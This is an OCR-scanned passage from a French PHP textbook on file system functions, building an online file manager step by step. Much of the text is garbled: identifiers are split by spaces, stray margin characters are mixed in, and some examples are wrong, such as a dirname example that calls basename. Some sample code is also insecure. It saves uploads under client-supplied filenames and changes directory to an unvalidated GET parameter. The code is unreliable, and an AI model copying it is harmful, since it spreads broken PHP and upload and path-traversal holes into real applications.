Fichier 2 : <input name="fichier[] " type="file" /xbr /> 
<input name="envoyer" type="submi t" val ue="Envoyer"> 
</form> 
</body> 
</html> 
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Dans ce cas, chaque element du tableau associatif variable $_file [ " f ichier " ] est un tableau 
indexe. II ne vous reste plus qu'a recuperer les fichiers en utilisant la methode suivante : 

Listing 9.22 : uploadmulti.php 

<?php 

// Deplacement des fichiers du repertoire temporal' re 
// vers le repertoire courant d'ou est execute le script, 
for ($i=0; $i<count ($_FILES["f i chier"] ["tmp_name"] ) ; $i++) 

{ 

move_uploaded_file($_FILES["fichier"] ["tmp_name"] [$i] , 
"./".$_FILES["fichier"] ["name"] [$i]); 

} 

// Affichage de la liste des fichiers du repertoire 
$repertoire = openDi r (" . ") ; 
while ($f ichier = readDi r($repertoi re) ) { 
echo $fichier."<br />"; 

} 

cl oseDi r($repertoi re) ; 

?> 

Encore plus de fonctions d'acces au systeme de fichiers du 
serveur 

Modification de l'environnement 

Bien souvent, lorsque vous developpez une application, le probleme est de connaitre le chemin 
du repertoire ou s'execute le programme. La commande getcwdO permet de recuperer le 
chemin du repertoire de travail. 



getcwdO 

Retourne le chemin du repertoire de travail. 
Syntaxe string getcwd(void) 

retour Chemin du repertoire de travail ou est execute le script. 

<?php 

echo "Le dossier de travail est : ".getcwdO; 
echo "<br />"; 

echo "Le script est : " .$_SERVER["SCRIPT_FILENAME"] ; 

?> 



CO 

CD w 

C ' 1) 

■s "S-S 

S3 S2 £ 
a £ 5. 



538 



Acceder au systeme de fichiers du serveur 



Et, puisque Ton peut recuperer le repertoire de travail, il peut etre tout aussi interessant de 
preciser ce repertoire au cours de l'execution du programme. La commande chdir ( ) permet 
de specifier le dossier de travail pendant la duree de l'execution du script. 



chdir () 

Modification du dossier de travail. 

Syntaxe boolean chdi r (stri ng $repertoi re) 

$repertoi re Nouveau repertoire de travail, 

retour TRUE en cas de succes, FALSE sinon. 

<?php 

i f (chdi r ( "/home/1 aurent/emma") ) 

{ 

echo "Changement de repertoire effectue avec succes."; 
}else{ 

echo "Probleme lors du changement de repertoi re.<br />"; 
echo "Veillez verifier les droits d'acces au dossier."; 

} 

?> 

Meme si l'utilisation de ces fonctions n'est pas necessaire pour parvenir a ce resultat, nous 
pouvons les utiliser pour commencer a constituer notre explorateur de fichiers, qui s'appuiera 
sur la fonction explorer ( ) developpee lors de la presentation de la fonction readDir ( ) . 

Listing 9.23 : gestionnaire_fichiers_01_inc.php (sans la fonction explorer) 

<?php 

function 1 i stRepertoi re() 

{ 

// Recuperation du chemin courant 
$repCourant = getcwd(); 

$fichiers = explorer(".") ; 

// Nous ajouterons (qui a ete filtre par la fonction) 

if ($repCourant != "/") $fichiers = merge(array ("..") , $fichiers); 

?> 

<table border="l" width="100%"> 
<tr> 

<tdxfont color="#cc0000"> 
<?php echo $repCourant; ?> 
</font> 
</td> 
</tr> 
</tabl e> 

<table border="0" width="100%"> 

for ($i=0; $i<count($fichiers) ; $i++) 
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{ 

<tr> 
<td> 



<?php 



?> 



<?php 



// Le fichier est-il un repertoire ? 

if (is_dir($fichiers[$i])) 

{ 

/* 

Le fichier est un repertoire 

On affiche alors un lien qui va nous permettre 

de visualiser le contenu de ce dossier 

7 

<a href="?repertoire=<?php echo $repCourant."/".$fichiers[$i] ;?>"> 
<?php echo $fichiers[$i] ;?> 

</a> 

}else{ 

/* 

Le fichier n'est pas un repertoire 

On affiche simplement le nom du fichier 

7 

echo $fichiers[$i] ; 

} 



?> 



</td> 
</tr> 
<?php 
} 

?> 

echo "</table>"; 



Le programme principal sera alors (pour l'mstant) : 

Listing 9.24 : gestionnaire_fichier_01.php 

<?php 

include("gestionnaire_fichier_01_inc.php") ; 

// Verifie si "repertoire" est passe en parametre. 
if ($_GET["repertoire"]) 

{ 

if (!@chdir($_GET["repertoire"])) 

{ 

echo "Le changement de repertoire a echoue."; 

} 

} 

listeRepertoi re ("."); 
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Securite du systeme 

Maintenant que I 'utilisateur peut se deplacer simplement dans la liste des repertoires, 
ATTENTION est important de rendre inaccessibles certains dossiers contenant des informations 
que vous ne voulez pas rendre pubUqu.es. Modifier les droits d'acces du serveur web 
sur les repertoires en question permet d'interdire le changement de dossier de travail. 
Exemple : rwxrw utilisateur apache 



Statistiques sur les fichiers 
Chemin d'acces aux fichiers 

Avant d'ouvrir un fichier, il est utile, voire necessaire, de connaitre certaines informations 
concernant son chemin d'acces, son nom, etc. Le langage PHP possede quelques instructions 
pouvant etre tres pratiques pour recuperer ces informations. 

II est simple de recuperer le nom d'un fichier (sans le chemin) a l'aide de l'instruction 

basename ( ) . 



basename() 

Extrait d'une chaine de caracteres la partie correspondant au nom du fichier. 

Syntaxe string basename(stri ng $chemi nFi chi er [, string $suffixe]^ 

$chemi nFi chi er Chemin d'un fichier (qui n'a pas besoin d'exister). 

$suf f i xe Ce parametre optionnel indique s'il faut supprimer le suffixe. 

retour Retourne le nom du fichier. 
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<?php 

$image= "/home/1 aurent/emma.png" ; 
g // Affichage de emma.png 

"° « co echo basename($image) ; 

o .± echo "<br />" ; 

jo co t: // Affichage de emma 

n .2 a echo basename($image, "png"); 

_l O "- ?> 

o> "~ emma.png 
emma 

Pour aller dans le meme sens que basename ( ) , on va maintenant etudier l'instruction 
dirname ( ) qui retourne le chemin du repertoire contenant un fichier. 



dirname() 

Extrait d'une chaine de caracteres la partie correspondant au chemin. 

Syntaxe string di rname(stri ng $cheminFichier) 

$chemi nFi chi er Chemin d'un fichier (qui n'a pas besoin d'exister). 
retour Retourne le chemin du dossier contenant le fichier. 

<?php 

$image= "/home/1 aurent/emma.png" ; 
// Affichage de /home/1 aurent 
echo basename($image) ; 

?> 

/home/1 aurent 

Une fonction permet egalement de recuperer toutes ces informations en une seule fois. 
L'instruction pathinf o ( ) retourne un tableau contenant les differents renseignements sur un 
chemin de fichier. 



pathInfo() 

Extrait d'une chaine de caracteres les parties correspondant au chemin, au nom du fichier 
(extension incluse) et a 1'extension. 

Syntaxe array pathlnfo (string $cheminFichier) 

$chemi nFi chi er Chemin d'un fichier (qui n'a pas besoin d'exister). 

retour Tableau associatif contenant les cles : 

"dirname" associee au nom du repertoire, 
"basename" associee au nom du fichier. 
"extension" associee a 1'extension du fichier. 
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<?php 

$infoChemin = pathlnfo("/home/laurent/emma.png") ; 
while (list ($key, $val) = each ($infoChemin)) { 
echo "$key = $val<br />"; 

} 

?> 

dirname = /home/1 aurent 
basename = emma.png 
extension = png 

Grace a la fonction realPath ( ) , il est possible d'obtenir le chemin absolu d'un fichier a partir 
de son chemin relatif. 
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realPath () 

Retourne le chemin absolu d'un fichier. 

Syntaxe string real Path (string $chemi nFi chi er) 

$chemi nFi chi er Chemin d'un fichier. 
retour Chemin absolu du fichier. 

<?php 

echo real path(" . ./. ./info.php") ; 
echo "<br />"; 

echo real path("bonzour. jpg") ; 

?> 

/home/e-smi th/f i 1 es/i bay s/kangouroo/html /i nf o . php 

/home/e-smi th/f i 1 es/i bay s/kangouroo/html /bi bl e/f i chi er/bonzour . j pg 

Nature du fichier 

Une serie de fonctions vous permet de verifier la nature du fichier ou du repertoire, a savoir : 

is_dir { ) , is_executable ( ) , is_f ile ( ) , is_link ( ) , is_readable ( ) , is_writable ( ) (ou 
son alias is_writeable) et is_uploaded_f ile ( ) . 



is_dir() 

passe en parametre est un repertoire ou non. 

boolean is_dir (string $nomFichier) 
Chemin du fichier. 

TRUE si le fichier est un repertoire, FALSE dans le cas contraire. 



Indique si le fichier 

Syntaxe 

$nomFi chi er 
retour 
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<?php 

if (is dir("indetermine")) 



c ° 01 

S "S-5 

Is » 

CO .= -CD 



echo "OUUIII, je suis un repertoire !"; 
}e1 se{ 

echo "Ben non je suis autre chose, snif !"; 



is_file() 

Indique si le fichier est un fichier classique. 

Syntaxe boolean is_file(string $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est un fichier classique, FALSE dans le cas contraire. 

<?php 

if (is_file("indetermine")) 

{ 

echo "Je suis bien un fichier !"; 
}else{ 

echo "C'est pas encore c.a, je ne suis pas un fichier."; 

} 

?> 



is_link() (inoperant sous Windows) 

Indique si le fichier est un lien symbolique ou non. 

Syntaxe boolean i s_l i nk(stri ng $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est un lien symbolique, FALSE dans le cas. 

<?php 

if (is_l ink("indetermine")) 

{ 

echo "C'est ga ! Je suis un lien symbolique."; 
}else{ 

echo "Ben, toujours pas :o(."; 

} 

?> 

Vous pouvez aussi remplacer ces precedentes fonctions par une autre bien pratique : la 
fonction f ileType ( ) renvoie une chaine de caracteres indiquant le type du fichier. 
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filetypeO 



CO 

Retourne une chaine indiquant le type du fichier passe en parametre. cd> =■ ET 

"2 5" ca 

Syntaxe string filetype (string $nomFichier) 3. » jj 

2. CD — ■ 

$nomFichier Chemin du fichier. 3 "* = 

«° CD Q. 

retour Retourne le type du fichier a savoir : "> cd 

"f ifo". 
"char". 

"dir" s'il s'agit d'un repertoire, 
"block". 

"link" s'il s'agit d'un lien symbolique. 
"f i le" s'il s'agit d'un veritable fichier. 
"unknown" dans le cas ou le type de "fichier" est inconnu. 

<?php 

echo f i 1 etype( "monfichier.txt") ; 

?> 



Droits sur les fichiers 

Differentes fonctions permettent egalement de tester les droits sur les fichiers. Dans les cas 
suivants, les droits sont testes par rapport a l'utilisateur et au groupe executant le script. Ce sera la 
plupart du temps l'utilisateur du serveur HTTP (generalement apache ou nobody, par exemple, 
dans le cas d'un serveur Apache). Ces fonctions sont tres interessantes si vous voulez developper 
une installation automatique d'une de vos applications, a la maniere de SPIP par exemple (voir les 
annexes pour l'installation de SPIP). Votre installation devant creer ou retoucher un fichier de 
configuration, il peut etre utile de verifier si celui-ci est accessible en ecriture par votre script. Si 
c'est le cas, vous executez l'installation, sinon vous envoyez des informations a l'utilisateur 
indiquant pas a pas ce qu'il doit faire pour que le script puisse etre lance. 



is_readable() 

Indique si le fichier est accessible en lecture. 

Syntaxe boolean i s_readabl e(stri ng $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est accessible en lecture, FALSE dans le cas contraire. 

<?php 

i f (is_readable( "monfichier.txt")) 

{ 

echo "Je suis un livre ouvert."; 
}else{ 

echo "Vous ne regarderez pas en moi."; 

} 

?> 
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is_writable() 



Indique si le fichier est accessible en ecriture. 



CO 

CD w 
E 11 1) 

■s »■«! 

as S2 Syntaxe boolean i s_wri tabl e(stri ng $nomFichier) 

"3 o $nomFichier Chemin du fichier. 

°> retour TRUE si le fichier est accessible en ecriture, FALSE dans le cas contraire. 

<?php 

if (is_wri table ("monfichier.txt")) 

{ 

echo "Vous pouvez me modifier sans probleme."; 
}else{ 

echo "Ne me touchez pas !"; 

} 

?> 

Vous pouvez egalement utiliser la fonction is_writeabie ( ) qui est un alias de 

is_writable ( ) . 



is_executable() 

Indique si le fichier est executable ou non. 

Syntaxe boolean is_executable (string $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est executable, FALSE dans le cas contraire. 

<?php 

if (i s_executabl e("monf i chi er . txt") ) 

{ 

echo "Je marche avec vous."; 
}else{ 

echo "Vous pouvez toujours rever pour m'executer !"; 

} 

?> 

Existence et taille des fichiers 

Le langage PHP possede une instruction simple pour verifier l'existence ou non d'un fichier. II 
est souhaitable de tester si ce fichier est bien a l'endroit ou il devrait etre avant de lui appliquer 
une ou plusieurs fonctions de statistiques ; c'est ce que permet la fonction f ile_exists ( ) . 
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file_exists() 

Permet de verifier qu'un fichier existe bien. 

Syntaxe boolean f i 1 e_exi sts (stri ng $nomFi chi er) 

$nomFichier Chemin du fichier a tester. 

retour TRUE si le fichier est bien present, FALSE s'il n'existe pas ou si une erreur 

s'est produite. 

<?php 

if (f i 1 e_exi sts ( "emma . png" ) ==TRUE) 

{ 

echo "Le fichier emma. png est bien present sur le disque."; 
} else { 

echo "Le fichier emma. png n'existe pas."; 

} 

?> 

Pour continuer notre chemin et completer notre petit gestionnaire de fichiers en ligne, nous 
devons egalement recuperer la taille du fichier. La fonction qui va nous permettre de realiser 
cela est f ileSize ( ) . 



fileSizeO 

Recupere la taille du fichier passe en parametre en octets. 

Syntaxe int fileSize (string $nomFichier) 

$nomFichier Chemin du fichier. 

retour Retourne la taille du fichier en octets. 

Ceci nous permet de creer une nouvelle fonction chargee de recuperer la taille du fichier et de 
l'afficher dans un format adapte (i.e. Ko, Mo, etc. selon les cas). 

Listing 9.25 : gestionnaire_fichier_02_inc.php (extrait) 

<?php 

function tail leFi chi er($ fichier) 

{ 

// calculs des taux de conversion entre Ko, 
// Mo et octet 
$Ko = pow(2, 10); 
$Mo = pow(2, 20); 

// recupere la taille du fichier en octets 
$taille = fileSize($fichier) ; 
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II Pas de conversion 
if ($taille<$Ko){ 

$tail leDef = $taille; 
// Conversion en Ko 
} elseif ($taille>=$Ko && $taille<$Mo) 

$tailleDef = round($taille/$Ko, 1) 
// Conversion en Mo 
} else { 

$tailleDef = round($taille/$Mo, 1) 



"M" 



} 

?> 



return $tail leDef; 
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Figure 9.8 : 

Gestionnaire de fichiers 
(version 2) 



Utilisateurs et groupes proprietaires des fichiers 

Afin de recuperer l'identifiant de l'utilisateur et le groupe proprietaire du fichier, nous 
utiliserons deux autres fonctions qui sont fileOwner() et fileGroupO. Ces fonctions 
renvoient les UID et GID correspondant au fichier. 



fileOwner() (inoperant sous Windows) 

Retourne l'identifiant de l'utilisateur (UID) proprietaire du fichier. 

Syntaxe int f i 1 eOwner (stri ng $nomFi chi er) 

$nomFichier Chemin du fichier. 

retour Identifiant de l'utilisateur proprietaire du fichier (0 sous Windows), 

FALSE en cas d'erreur. 
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fileGroupO (inoperant sous Windows) 

Retourne l'identifiant du groupe (GID) proprietaire du fichier. 

Syntaxe int fileGroup (string $nomFichier) 

$nomFichier Chemin du fichier. 

retour Identifiant du groupe proprietaire du fichier (0 sous Windows), FALSE en 

cas d'erreur. 

<?php 

f uncti on propri etai re($f i chi er) 

{ 

$uti 1 i sateur = fi 1 eowner($f i chier) ; 
$groupe = fi 1 egroup($fi chier) ; 
return array("uti 1 i sateur"=>$uti 1 i sateur, 
"groupe"=>$groupe) ; 

} 

$tabPropietaire = proprietaireCfichier.txt"); 

echo "utilisateur = " .$tabPropietai re["uti 1 i sateur"] ; 

echo "<br />"; 

echo "groupe = " .$tabPropietai re["groupe"] ; 

?> 

utilisateur = 101 
groupe = 102 

II peut etre interessant d'afficher l'utilisateur et le groupe par leurs noms respectifs. II faut, dans 
ce cas, utiliser les fonctions du module posix, a savoir posix_getpwuid ( ) et 
posix_getgrgid( ) . La premiere fonction renvoie les informations sur l'utilisateur possedant 
l'UID passe en parametre, et la seconde retourne les informations sur le groupe possedant le 
GID donne. 




Vous pouvez vous reporter au chapitre "Les processus et les identifiants" pour plus 
d 'informations sur posix_getpwuid ( ) et posix_getgrgid ( ). 



RENVOI 

Le script suivant retourne done les noms du proprietaire et du groupe du fichier, et sera integre 
a notre gestionnaire de fichiers. 

Listing 9.26 : gestionnaire_fichier_03_inc.php (extrait) 

<?php 

f uncti on propri etai re ($f i chi er) 

{ 

// recupere l'UID du fichier 

$uid = fi leowner($fi chier) ; 

// Recupere les informations sur l'UID 

$tabUti 1 i sateur = posix_getpwuid($uid) ; 



ce 
o' r— 

CD> =■ OJ 

S; ^| CD 
3. co co 

s- a 5- 

CD Q. = 

«*> cd a. 

CO CD 
CO 
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CO 
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^ OJ Crt 
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S S2 i 

CO .= 'CD 

_J O »- 



} 

?> 



// recupere le GID du fichier 

$gid = fi 1 egroup($fi chi er) ; 

// Recupere les informations sur le GID 

$tabGroup = posix_getgrgid($gid) ; 

// Renvoie les noms du groupe et de 1 ' uti 1 i sateur 
return array ( 

"uti 1 i sateur"=>$tabUti 1 i sateur["name"] , 

" groupe "=>$tabGroup[" name"] 

); 



Simplement applique a un fichier de la fagon suivante : 
<?php 

$tabPropietaire = proprietaireCfichier.txt"); 

echo "utilisateur = ".$tabPropietaire["utilisateur"] ; 

echo "<br />"; 

echo "groupe = " .$tabPropietai re["groupe"] ; 

?> 

cela pourrait donner : 

utilisateur = admin 
groupe = www 



Utilise dans notre gestionnaire de fichiers, cela donne : 
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Figure 9.9 : 

Gestionnaire de fichiers 
(version 3) 



Dates et heures fichiers 

II peut etre interessant de recuperer la date de la derniere modification du fichier. On utilisera 
alors la fonction f ilemtime ( ) du langage PHP. 
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filemtimeO 

Retourne la date de la derniere modification du fichier. 



int filemtime(string $nomFichier) 
Chemin du fichier. 



Syntaxe 

$nomFi chi er 

retour Date de la derniere modification en secondes depuis epoch (l er janvier 

1970). 



to 

-t o" r— 

CD> =■ OJ 

!i n n 

3. co co 

s- a 5- 

CD Q. = 

«° cd a. 

CO CD 
CO 



Voila une nouvelle fonction que nous pouvons ajouter a notre gestionnaire de fichiers en 
l'agrementant d'une mise en forme de la date au format mois/jour/heure/minutes. 

Listing 9.27 : gestionnaire_fichier_04_inc.php (extrait) 

<?php 

function modi ficationFi chi er($fi chi er) 

{ 

// Recuperation de la derniere modification du fichier 
$modification = filemtime($fichier) ; 

// Retourne la date de modifications formatee 
return strftime("%b %d %H:%M", $modification) ."\n"; 

} 

?> 
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Figure 9.10 : 

Gestionnaire de fichiers 
(extrait 4) 



Pour modifier cette date, vous pouvez utiliser la fonction touch ( ) . 
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touch () 

c "o cu Specifie une nouvelle date de modification pour un fichier (cree le fichier s'il n'existe pas). 

■2 » ■! 

oj S2 "5 Syntaxe boolean touch (stri rig $nomFichier [, int $date] ) 

o o a 

j3 o $nomFichier Chemin du fichier dont vous souhaitez modifier la date de derniere 

K modification. 

$date Nouvelle date de modification (en secondes depuis epoch). Par defaut, il 

s'agit de la date courante. 

retour TRUE en cas de succes, FALSE sinon. 

<?php 

// Retourne la date de derniere modification du fichier 

echo filemtime("fichier.txt") ; 

// Change la date dans la date courante 

touch("f ichier.txt") ; 

// Retourne la nouvelle date de modification 
echo filemtime("fichier.txt") ; 

?> 

De la meme facon, il est possible d'acceder a la date de dernier acces au fichier, ainsi qu'a la 
date du dernier acces a l'inode (derniere fois que les droits, utilisateur, groupe, date de derniere 
modification, etc. du fichier ont ete modifies). Les fonctions f ileatime ( ) et f ilectime ( ) 
permettent au developpeur d'acceder a ces differentes informations. 



fileatimeO 

Retourne la date et l'heure du dernier acces au fichier. 

Syntaxe int fileatime(string $nomFi chi er) 

$nomFichier Chemin du fichier. 

retour Date du dernier acces au fichier (en secondes depuis epoch). 

<?php 

function dateAcces($fichier) 

{ 

// Recuperation de la derniere modification du fichier 
$modification = fileatime($fichier) ; 

// Retourne la date de modifications formatee 
return strftime("%b %d %H:%M", $modification) ."\n"; 

} 

echo "Dernier acces au fichier le ". dateAccesCfichier.txt"); 

?> 
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filectimeO 

Retourne la date et l'heure du dernier acces a l'inode. 

Syntaxe int filectime(string $nomFichier) 

$nomFichier Chemin du f ichier. 

retour Retourne la date du dernier acces a l'inode (en secondes depuis epoch). 

<?php 

function dateAcces I node ($f ichier) 

{ 

// Recuperation de la derniere modification du fichier 
$modifi cation = filectime($fichier) ; 

// Retourne la date de modifications formatee 
return strftime("%b %d %H:%M", $modification) ."\n"; 

} 

echo "Dernier acces a l'inode le ". dateAccesInode("fichier.txt") ; 

?> 



Date de modification et d'acces et liens symboliques 

~ Si vous utilisez I'une des fonctions filectime ( ), fileatime ( ) ou filemtime ( ) 

sur un lien symbolique, vous aurez la date de modification du fichier sur laquelle 
pointe le lien. Pour recuperer les informations sur le lien symbolique, vous devez 
utiliser la fonction lstat ( ). 



Inode 

Comme nous l'avons evoque precedemment, l'inode (index node ou nceud d'index) est une 
structure contenant les differentes informations liees a un fichier (droits, proprietaire, date de 
derniere modification, etc). A chaque inode est associe un identifiant INumber qui est le 
numero d'index de l'inode. 

Le langage PHP possede une fonction qui permet de recuperer ce numero d'index pour un 
fichier donne. L'instruction f ileinode ( ) permet en effet de retourner 1'INumber. 



filelnodeO (inoperant sous Windows) 

Retourne 1'INumber de l'inode d'un fichier. 

Syntaxe int filelnode (string $nomFichier) 

$ n om F ichier Chemin du fichier. 

retour Inode du fichier (0 sous Windows). 
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<?php 

echo fi lei node (" emma.png ") ; 

?> 

La fonction qui fait tout 

Pour recuperer les differentes informations en une seule fois, le langage PHP possede une 
fonction tres utile. La fonction stat ( ) permet, en effet, de retrouver tous les parametres du 
fichier dans un tableau. Cette instruction utilise la structure des fichiers pour obtenir les 
informations necessaires. 



stat() 

Retourne les informations a propos d'un fichier dans un tableau. 

Syntaxe array stat (string $nomFichier) 

$nomFichier Chemin du fichier a analyser. 

retour Tableau a la fois indexe et associatif contenant toutes les informations du 

fichier. 

Le tableau retourne contient toutes les informations relatives a un fichier ; ce tableau peut se 
decomposer comme suit : 



Tableau 9.3 : Le tableau retourne par la fonction stat() 



Indice 


Cle 


Description 





Dev 


Numero d'identifiant du systeme de fichiers. 


1 


Ino 


INumber de I'inode representant la structure du fichier. 


2 


Mode 


Les droits d'acces sur le fichier (valeur en decimal). 


3 


Nlink 


Nombre de liens vers le fichier. 


4 


Uid 


Identifiant du proprietaire du fichier. 


5 


Gid 


Identifiant du groupe proprietaire du fichier. 


6 


Rdev 


Identifiant du materiel (disque dur, CD-ROM, etc.) contenant le fichier 
(inode) (-1 sous Windows). 


7 


size 


Taille du fichier en octets. 


8 


atime 


Indique la date du dernier acces en secondes depuis epoch (sous UNIX, 
epoch correspond au 1 er janvier 1970 a heure minute et seconde, 
sous MacOS c'est 1 er janvier 1 904 a heure minute et seconde qui 
sert de reference). 


9 


mtime 


Date de la derniere modification du fichier depuis epoch. 


10 


ctime 


Date du dernier changement (modification de I'inode). 
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Indice 


Cle 


Description 


11 


blksize 


Taille des blocs (en octets) de reference pour les entrees/sorties du 
systeme de fichier (-1 sous Windows). 


12 


blocks 


Nombre de blocs alloues pour le fichier (-1 sous Windows). 



L'exemple suivant, 
<?php 

f unct i on stati sti que ($chemi nFi chi er) 

{ 

$tableau = stat($cheminFichier) ; 
while (list($key, $val) = each($tableau)) { 
echo "$key : $val<br>"; 

} 

} 

stati sti que("f ichier.txt") ; 

?> 

pourrait retourner : 

: 834 

1 : 131934 

2 : 33264 

3 : 1 

4 : 101 

5 : 102 

6 : 

7 : 23 

8 : 1023545447 

9 : 1023545460 

10 : 1023545460 

11 : 4096 

12 : 8 
dev : 834 
ino : 131934 
mode : 33264 
nlink : 1 
uid : 101 
gid : 102 
rdev : 
size : 23 

atime : 1023545447 
nit i me : 1023545460 
ctime : 1023545460 
blksize : 4096 
blocks : 8 



Chapitre 9 La gestion des fichiers et des repertoires 



S'il faut simplement recuperer les droits correspondant a un fichier, il suffit alors d'ecrire le 
programme suivant : 

<?php 

$tableau = stat("fichier.txt") ; 

// recupere les permissions sur le fichier 

$droits = $tabl eau ["mode"] ; 

// Conversion en octale 

$octalPerm = decoct($droits) ; 

// Recuperation des 3 derniers caracteres 

$normPerm = substr ($octal Perm, -3) ; 

echo $normPerm; 

?> 



REMARQUE 



Retrouver le type du fichier 

Vous remarquerez que, dans Vexemple precedent, nous avons recupere simplement 
les trois derniers caracteres. En effet, seuls les derniers caracteres correspondent aux 
permissions du fichier. Les autres indiquent le type du fichier. 
0x1000 Port (Named pipe). 

0x2000 Correspond a un fichier de type caractere (imprimante, port serie, clavier, 
souris,..). 

0x4000 Repertoire. 

0x6000 Represente un materiel disposant d'un systeme d'entree/sortie ( disques durs 

IDE, RAM, etc.). 

0x8000 Fichier dit "normal". 

OxAOOO Lien symbolique. 

OxCOOO Socket. 



Appliquee a un lien symbolique, la fonction stat ( ) retournera les informations concernant le 
fichier pointe. Si vous souhaitez obtenir les informations concernant le lien, vous devrez faire 
appel a la fonction lstat ( ) . Cette derniere est identique a la fonction stat ( ) et retourne un 
tableau identique. 



lstat() 

Retourne les informations a propos d'un lien symbolique (ou d'un fichier). 

Syntaxe array lstat (string $nomFichier) 

$nomFi chi er Chemin du lien symbolique (ou fichier) a analyser. 

retour Tableau contenant toutes les informations du fichier. 

Vous pouvez sans doute etre amene a rechercher le fichier pointe par le lien symbolique. II est 
alors necessaire d'utiliser la fonction readLink ( ) . 
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readLink() (non disponible sous Windows) 

Retourne le nom et le chemin du fichier cible du lien symbolique. 

Syntaxe string readLi nk(stri ng $nomLienSymb) 

$nomLi enSymb Lien symbolique a analyser. 

retour Chemin du fichier pointe par le lien symbolique (FALSE accompagne du 

message de type "warning" sous Windows). 

<?php 

i f (syml i nk( "/home/1 aurent/emma.png" , 
"/home/damien/emnia.png") { 
echo "te lien symbolique a bien ete cree."; 
} else { 

echo "te lien symbolique n'a pas ete cree."; 

} 

echo readl i nk("/home/damien/emma.png") ; 

?> 

/home/1 aurent/ emma . png 

Si vous voulez simplement tester l'existence d'un lien symbolique, vous pouvez utiliser la 
commande linkinfo () . En effet, la commande f iie_exists ( ) retournera l'existence du 
fichier cible et non celle du lien. Remarquez que, si l'instruction trouve le fichier cible, c'est que 
le lien existe forcement. Mais il peut s'averer que le fichier cible soit inexistant. 



to 
o' r— 

CD> =■ OJ 

^ 71 m 
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CD Q. = 

«*> cd a. 

CO CD 
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linkinfo () (non disponible sous Windows) 

Retourne l'identifiant du materiel ou est stocke le lien symbolique. 

Syntaxe int 1 inklnfo (string $nomLi enSymb) 

$nomLi enSymb Lien symbolique a analyser. 

retour Identifiant du materiel (ou device, c'est-a-dire le materiel ou est stocke le 

lien symbolique ; attention, device ne fait pas reference a un disque dur, 
mais a une partition) qui heberge le lien, ou FALSE si le lien n'existe pas, ou 
si une erreur se produit (avec un message de type "warning" sous 
Windows). 

<?php 

if (@linkInfo("emma.png") != -1) { 

echo "Le lien symbolique existe bien."; 
} else { 

echo "Le lien symbolique n'existe pas."; 

} 

?> 



557 



Chapitre 9 La gestion des fichiers et des repertoires 



II est aussi possible d'utiliser f stat ( ) afin d'obtenir la liste des informations sur un fichier. La 
difference avec la fonction stat ( ) etant que f stat ( ) ne prend pas en parametre le chemin 
d'un fichier, mais un pointeur sur ce fichier. 



c 11 1) 

Is » 

-I'- fstat() 



Retourne les informations a propos d'un fichier dans un tableau. 
Syntaxe array f stat (string $fp) 

$f p Pointeur sur le fichier a analyser tel que retourne par f open ( ) . 

retour Tableau a la fois indexe et associatif contenant toutes les informations du 

fichier (comme le propose la fonction stat ( ) ), ou FALSE si une erreur 
survient. 

<? 

function stati sti que($cheminFichier) 

{ 

$fp = fopen ("$cheminFichier" , "r") ; 
$tableau = fstat($fp); 

while (list($key, $val) = each($tableau)) { 
echo "$key : $val<br>"; 

} 

fclose($fp); 

} 

statistiqueCfichier.txt") ; 

?> 

: 834 

1 : 131934 

2 : 33264 

3 : 1 

4 : 101 

5 : 102 

6 : 

7 : 23 

8 : 1023545447 

9 : 1023545460 

10 : 1023545460 

11 : 4096 

12 : 8 
dev : 834 
ino : 131934 
mode : 33264 
nlink : 1 
uid : 101 
gid : 102 
rdev : 
size : 23 

atime : 1023545447 
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mtime : 1023545460 
ctime : 1023545460 
blksize : 4096 
blocks : 8 

Les differentes fonctions de statistiques demandent beaucoup de ressources au systeme. C'est 
pourquoi il existe un systeme de cache qui permet de conserver, pendant la duree de l'execution 
du programme, les differentes valeurs relatives a un fichier. En consequence, toutes les 
modifications apportees au fichier apres un appel aux fonctions de type stat ( ) ne seront pas 
visibles des appels ulterieurs a ces memes fonctions. Afin de renouveler le cache, vous devez 
faire appel a la fonction ciearstatcache ( ) . Le cache n'est valide que pendant la duree de 
l'execution du programme ; il n'est done pas necessaire d'appeler la fonction 
ciearstatcache ( ) avant chaque statistique sur les fichiers. 



clearStatCache() 

Reinitialise le cache des fonctions de statistiques. 
Syntaxe void cl earStatCache(voi d) 

<?php 

// Initialisation des droits en 770 
chmod("fichier.txt", 0770); 

// Lecture des droits 
$tableau = stat("fichier.txt") ; 
echo $tableau["mode"] ."<br />"; 

// modification des droits sur le fichier en 777 
chmod ("fichier.txt", 0777); 

// Lecture des droits 
$tableau = stat("fichier.txt") ; 
echo $tableau["mode"] ."<br />"; 

// Reinitialisation du cache 
cl earstatcache() ; 

// Lecture des droits 
$tableau = stat("fichier.txt") ; 
echo $tableau["mode"] ."<br />"; 
?> 

33272 
33272 
33279 

Nous pouvons observer, dans l'exemple precedent, que la modification des droits n'entraine 
pas de modification dans l'affichage des statistiques du fichier. Ce qui demontre la necessite de 
l'appel a la fonction ciearstatcache ( ) . Le cache est vide, et un nouvel appel a la fonction 
stat ( ) affiche les droits corrects du fichier. 
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Comme nous l'avons annonce precedemment, les fonctions de statistiques entrainent une 
charge plus importante pour le systeme. Ceci est d'autant plus vrai lorsque vous utilisez les 
fonctions stat(), fstato et lstato qui retournent beaucoup d'informations. Certaines 
fonctions, plus legeres, peuvent les remplacer facilement si vous desirez seulement recuperer 
.2 at ■— certaines informations sur le fichier. 

«» GO -c 

gi £ g_ Pour recuperer les permissions sur un fichier, il est plus judicieux d'utiliser la fonction 

J3 -g '2 f ilePerms ( ) du langage PHP. 



CD 



filePermsO 

Retourne les permissions du fichier. 

Syntaxe int f i 1 ePerms (stri rig $nomFichier) 

$nomFichier Chemin du fichier. 

retour Droits d'acces sur le fichier (sous forme decimale) ou FALSE en cas 

d'erreur. 

<?php 

$droits = fileperms("fichier.txt"); 

// Conversion en octale 

$octalPerm = decoct ($droi ts) ; 

// Recuperation des 3 derniers caracteres 

$normPerm = substr ($octal Perm, -3) ; 

echo $normPerm; 

?> 

Nous pouvons ameliorer notre gestionnaire de programmes pour qu'il affiche les droits des 
fichiers sous une forme classique pour un utilisateur Unixien. 

Listing 9.28 : gestionnaire_fichiers_05_inc.php (extrait) 

<?php 

function uPerm($perm) 

{ 

switch ($perm) 

{ 

case 0: 

$retPerm = 

break; 
case 1: 

$retPerm = "--x"; 

break; 
case 2: 

$retPerm = "-w-"; 

break; 
